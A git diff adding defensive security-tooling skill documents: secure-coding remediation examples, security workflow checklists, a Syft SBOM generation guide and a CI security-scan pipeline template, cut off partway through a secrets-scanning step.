+ +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/secsdlc/sast-horusec/references/WORKFLOW_CHECKLIST.md b/skills/secsdlc/sast-horusec/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/secsdlc/sast-horusec/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/secsdlc/sbom-syft/SKILL.md b/skills/secsdlc/sbom-syft/SKILL.md new file mode 100644 index 0000000..31691a3 --- /dev/null +++ b/skills/secsdlc/sbom-syft/SKILL.md @@ -0,0 +1,492 @@ +--- +name: sbom-syft +description: > + Software Bill of Materials (SBOM) generation using Syft for container images, filesystems, and + archives. Detects packages across 28+ ecosystems with multi-format output support (CycloneDX, + SPDX, syft-json). Enables vulnerability assessment, license compliance, and supply chain security. + Use when: (1) Generating SBOMs for container images or applications, (2) Analyzing software + dependencies and packages for vulnerability scanning, (3) Tracking license compliance across + dependencies, (4) Integrating SBOM generation into CI/CD for supply chain security, (5) Creating + signed SBOM attestations for software provenance. +version: 0.1.0 +maintainer: SirAppSec +category: secsdlc +tags: [sbom, syft, supply-chain, dependencies, cyclonedx, spdx, vulnerability-management, license-compliance] +frameworks: [NIST, OWASP] +dependencies: + tools: [docker] +references: + - https://github.com/anchore/syft + - https://anchore.com/sbom/ +--- + +# Syft SBOM Generator + +## Overview + +Syft is a CLI tool and Go library for generating comprehensive Software Bills of Materials (SBOMs) from container images and filesystems. It provides visibility into packages and dependencies across 28+ ecosystems, supporting multiple SBOM formats (CycloneDX, SPDX) for vulnerability management, license compliance, and supply chain security. + +## Supported Ecosystems + +**Languages & Package Managers:** +Alpine (apk), C/C++ (conan), Dart (pub), Debian/Ubuntu (dpkg), Dotnet (deps.json), Go (go.mod), Java (JAR/WAR/EAR/Maven/Gradle), JavaScript (npm/yarn), PHP (composer), Python (pip/poetry/setup.py), Red Hat (RPM), Ruby (gem), Rust (cargo), Swift (cocoapods) + +**Container & System:** +OCI images, Docker images, Singularity, container layers, Linux distributions + +## Quick Start + +Generate SBOM for container image: + +```bash +# Using Docker +docker run --rm -v $(pwd):/out anchore/syft:latest -o cyclonedx-json=/out/sbom.json + +# Local installation +syft -o cyclonedx-json=sbom.json + +# Examples +syft alpine:latest -o cyclonedx-json +syft docker.io/nginx:latest -o spdx-json +syft dir:/path/to/project -o cyclonedx-json +``` + +## Core Workflows + +### Workflow 1: Container Image SBOM Generation + +For creating SBOMs of container images: + +1. Identify target container image (local or registry) +2. Run Syft to generate SBOM: + ```bash + syft -o cyclonedx-json=sbom-cyclonedx.json + ``` +3. Optionally generate multiple formats: + ```bash + syft \ + -o cyclonedx-json=sbom-cyclonedx.json \ + -o spdx-json=sbom-spdx.json \ + -o syft-json=sbom-syft.json + ``` +4. Store SBOM artifacts with image for traceability +5. Use SBOM for vulnerability scanning with Grype or other tools +6. Track SBOM versions alongside image releases + +### Workflow 2: CI/CD Pipeline Integration + +Progress: +[ ] 1. Add Syft to build pipeline after image creation +[ ] 2. Generate SBOM in standard format (CycloneDX or SPDX) +[ ] 3. Store SBOM as build artifact +[ ] 4. Scan SBOM for vulnerabilities (using Grype or similar) +[ ] 5. Fail build on critical vulnerabilities or license violations +[ ] 6. Publish SBOM alongside container image +[ ] 7. Integrate with vulnerability management platform + +Work through each step systematically. Check off completed items. + +### Workflow 3: Filesystem and Application Scanning + +For generating SBOMs from source code or filesystems: + +1. Navigate to project root or specify path +2. Scan directory structure: + ```bash + syft dir:/path/to/project -o cyclonedx-json=app-sbom.json + ``` +3. Review detected packages and dependencies +4. Validate package detection accuracy (check for false positives/negatives) +5. Configure exclusions if needed (using `.syft.yaml`) +6. Generate SBOM for each release version +7. Track dependency changes between versions + +### Workflow 4: SBOM Analysis and Vulnerability Scanning + +Combining SBOM generation with vulnerability assessment: + +1. Generate SBOM with Syft: + ```bash + syft -o cyclonedx-json=sbom.json + ``` +2. Scan SBOM for vulnerabilities using Grype: + ```bash + grype sbom:sbom.json -o json --file vulnerabilities.json + ``` +3. Review vulnerability findings by severity +4. Filter by exploitability and fix availability +5. Prioritize remediation based on: + - CVSS score + - Active exploitation status + - Fix availability + - Dependency depth +6. Update dependencies and regenerate SBOM +7. Re-scan to verify vulnerability remediation + +### Workflow 5: Signed SBOM Attestation + +For creating cryptographically signed SBOM attestations: + +1. Install cosign (for signing): + ```bash + # macOS + brew install cosign + + # Linux + wget https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64 + chmod +x cosign-linux-amd64 + mv cosign-linux-amd64 /usr/local/bin/cosign + ``` +2. Generate SBOM: + ```bash + syft -o cyclonedx-json=sbom.json + ``` +3. Create attestation and sign: + ```bash + cosign attest --predicate sbom.json --type cyclonedx + ``` +4. Verify attestation: + ```bash + cosign verify-attestation --type cyclonedx + ``` +5. Store signature alongside SBOM for provenance verification + +## Output Formats + +Syft supports multiple SBOM formats for different use cases: + +| Format | Use Case | Specification | +|--------|----------|---------------| +| `cyclonedx-json` | Modern SBOM standard, wide tool support | CycloneDX 1.4+ | +| `cyclonedx-xml` | CycloneDX XML variant | CycloneDX 1.4+ | +| `spdx-json` | Linux Foundation standard | SPDX 2.3 | +| `spdx-tag-value` | SPDX text format | SPDX 2.3 | +| `syft-json` | Syft native format (most detail) | Syft-specific | +| `syft-text` | Human-readable console output | Syft-specific | +| `github-json` | GitHub dependency submission | GitHub-specific | +| `template` | Custom Go template output | User-defined | + +Specify with `-o` flag: +```bash +syft -o cyclonedx-json=output.json +``` + +## Configuration + +Create `.syft.yaml` in project root or home directory: + +```yaml +# Cataloger configuration +package: + cataloger: + enabled: true + scope: all-layers # Options: all-layers, squashed + + search: + unindexed-archives: false + indexed-archives: true + +# Exclusions +exclude: + - "**/test/**" + - "**/node_modules/**" + - "**/.git/**" + +# Registry authentication +registry: + insecure-skip-tls-verify: false + auth: + - authority: registry.example.com + username: user + password: pass + +# Output format defaults +output: cyclonedx-json + +# Log level +log: + level: warn # Options: error, warn, info, debug, trace +``` + +## Common Patterns + +### Pattern 1: Multi-Architecture Image Scanning + +Scan all architectures of multi-platform images: + +```bash +# Scan specific architecture +syft --platform linux/amd64 -o cyclonedx-json=sbom-amd64.json +syft --platform linux/arm64 -o cyclonedx-json=sbom-arm64.json + +# Or scan manifest list (all architectures) +syft --platform all -o cyclonedx-json +``` + +### Pattern 2: Private Registry Authentication + +Access images from private registries: + +```bash +# Using Docker credentials +docker login registry.example.com +syft registry.example.com/private/image:tag -o cyclonedx-json + +# Using environment variables +export SYFT_REGISTRY_AUTH_AUTHORITY=registry.example.com +export SYFT_REGISTRY_AUTH_USERNAME=user +export SYFT_REGISTRY_AUTH_PASSWORD=pass +syft registry.example.com/private/image:tag -o cyclonedx-json + +# Using config file (recommended) +# Add credentials to .syft.yaml +``` + +### Pattern 3: OCI Archive Scanning + +Scan saved container images (OCI or Docker format): + +```bash +# Save image to archive +docker save nginx:latest -o nginx.tar + +# Scan archive +syft oci-archive:nginx.tar -o cyclonedx-json=sbom.json + +# Or scan Docker archive +syft docker-archive:nginx.tar -o cyclonedx-json=sbom.json +``` + +### Pattern 4: Comparing SBOMs Between Versions + +Track dependency changes across releases: + +```bash +# Generate SBOMs for two versions +syft myapp:v1.0 -o syft-json=sbom-v1.0.json +syft myapp:v2.0 -o syft-json=sbom-v2.0.json + +# Compare with jq +jq -s '{"added": (.[1].artifacts - .[0].artifacts), "removed": (.[0].artifacts - .[1].artifacts)}' \ + sbom-v1.0.json sbom-v2.0.json +``` + +### Pattern 5: Filtering SBOM Output + +Extract specific package information: + +```bash +# Generate detailed SBOM +syft -o syft-json=full-sbom.json + +# Extract only Python packages +cat full-sbom.json | jq '.artifacts[] | select(.type == "python")' + +# Extract packages with specific licenses +cat full-sbom.json | jq '.artifacts[] | select(.licenses[].value == "MIT")' + +# Count packages by ecosystem +cat full-sbom.json | jq '.artifacts | group_by(.type) | map({type: .[0].type, count: length})' +``` + +## Security Considerations + +- **Sensitive Data Handling**: SBOMs may contain internal package names and versions. Store SBOMs securely and restrict access to authorized personnel +- **Access Control**: Limit SBOM generation and access to build systems. Use read-only credentials for registry access +- **Audit Logging**: Log SBOM generation events, distribution, and access for compliance tracking +- **Compliance**: SBOMs support compliance with Executive Order 14028 (Software Supply Chain Security), NIST guidelines, and OWASP recommendations +- **Safe Defaults**: Use signed attestations for production SBOMs to ensure integrity and provenance + +## Integration Points + +### CI/CD Integration + +**GitHub Actions:** +```yaml +- name: Generate SBOM with Syft + uses: anchore/sbom-action@v0 + with: + image: ${{ env.IMAGE_NAME }}:${{ github.sha }} + format: cyclonedx-json + output-file: sbom.json + +- name: Upload SBOM + uses: actions/upload-artifact@v3 + with: + name: sbom + path: sbom.json +``` + +**GitLab CI:** +```yaml +sbom-generation: + image: anchore/syft:latest + script: + - syft $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA -o cyclonedx-json=sbom.json + artifacts: + reports: + cyclonedx: sbom.json +``` + +**Jenkins:** +```groovy +stage('Generate SBOM') { + steps { + sh 'syft ${IMAGE_NAME}:${BUILD_NUMBER} -o cyclonedx-json=sbom.json' + archiveArtifacts artifacts: 'sbom.json' + } +} +``` + +### Vulnerability Scanning + +Integrate with Grype for vulnerability scanning: + +```bash +# Generate SBOM and scan in one pipeline +syft -o cyclonedx-json=sbom.json +grype sbom:sbom.json +``` + +### SBOM Distribution + +Attach SBOMs to container images: + +```bash +# Using ORAS +oras attach --artifact-type application/vnd.cyclonedx+json sbom.json + +# Using Docker manifest +# Store SBOM as additional layer or separate artifact +``` + +## Advanced Usage + +### Custom Template Output + +Create custom output formats using Go templates: + +```bash +# Create template file +cat > custom-template.tmpl <<'EOF' +{{- range .Artifacts}} +{{.Name}}@{{.Version}} ({{.Type}}) +{{- end}} +EOF + +# Use template +syft -o template -t custom-template.tmpl +``` + +### Scanning Specific Layers + +Analyze specific layers in container images: + +```bash +# Squashed view (default - final filesystem state) +syft --scope squashed -o cyclonedx-json + +# All layers (every layer's packages) +syft --scope all-layers -o cyclonedx-json +``` + +### Environment Variable Configuration + +Configure Syft via environment variables: + +```bash +export SYFT_SCOPE=all-layers +export SYFT_OUTPUT=cyclonedx-json +export SYFT_LOG_LEVEL=debug +export SYFT_EXCLUDE="**/test/**,**/node_modules/**" + +syft +``` + +## Troubleshooting + +### Issue: Missing Packages in SBOM + +**Solution**: Enable all-layers scope or check for package manager files: +```bash +syft --scope all-layers -o syft-json +``` + +Verify package manifest files exist (package.json, requirements.txt, go.mod, etc.) + +### Issue: Registry Authentication Failure + +**Solution**: Ensure Docker credentials are configured or use explicit auth: +```bash +docker login +# Then run syft +syft / -o cyclonedx-json +``` + +### Issue: Large SBOM Size + +**Solution**: Use squashed scope and exclude test/dev dependencies: +```yaml +# In .syft.yaml +package: + cataloger: + scope: squashed +exclude: + - "**/test/**" + - "**/node_modules/**" + - "**/.git/**" +``` + +### Issue: Slow Scanning Performance + +**Solution**: Disable unindexed archive scanning for faster results: +```yaml +# In .syft.yaml +package: + search: + unindexed-archives: false +``` + +## License Compliance + +Extract license information from SBOM: + +```bash +# Generate SBOM +syft -o syft-json=sbom.json + +# Extract unique licenses +cat sbom.json | jq -r '.artifacts[].licenses[].value' | sort -u + +# Find packages with specific licenses +cat sbom.json | jq '.artifacts[] | select(.licenses[].value | contains("GPL"))' + +# Generate license report +cat sbom.json | jq -r '.artifacts[] | "\(.name):\(.licenses[].value)"' | sort +``` + +## Vulnerability Management Workflow + +Complete workflow integrating SBOM generation with vulnerability management: + +Progress: +[ ] 1. Generate SBOM for application/container +[ ] 2. Scan SBOM for known vulnerabilities +[ ] 3. Classify vulnerabilities by severity and exploitability +[ ] 4. Check for available patches and updates +[ ] 5. Update vulnerable dependencies +[ ] 6. Regenerate SBOM after updates +[ ] 7. Re-scan to confirm vulnerability remediation +[ ] 8. Document accepted risks for unfixable vulnerabilities +[ ] 9. Schedule periodic SBOM regeneration and scanning + +Work through each step systematically. Check off completed items. + +## References + +- [Syft GitHub Repository](https://github.com/anchore/syft) +- [Anchore SBOM Documentation](https://anchore.com/sbom/) +- [CycloneDX Specification](https://cyclonedx.org/) +- [SPDX Specification](https://spdx.dev/) +- [NIST Software Supply Chain Security](https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/software-supply-chain-security-guidance) +- [OWASP Software Component Verification Standard](https://owasp.org/www-project-software-component-verification-standard/) diff --git a/skills/secsdlc/sbom-syft/assets/.gitkeep b/skills/secsdlc/sbom-syft/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/secsdlc/sbom-syft/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/secsdlc/sbom-syft/assets/ci-config-template.yml b/skills/secsdlc/sbom-syft/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/secsdlc/sbom-syft/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex 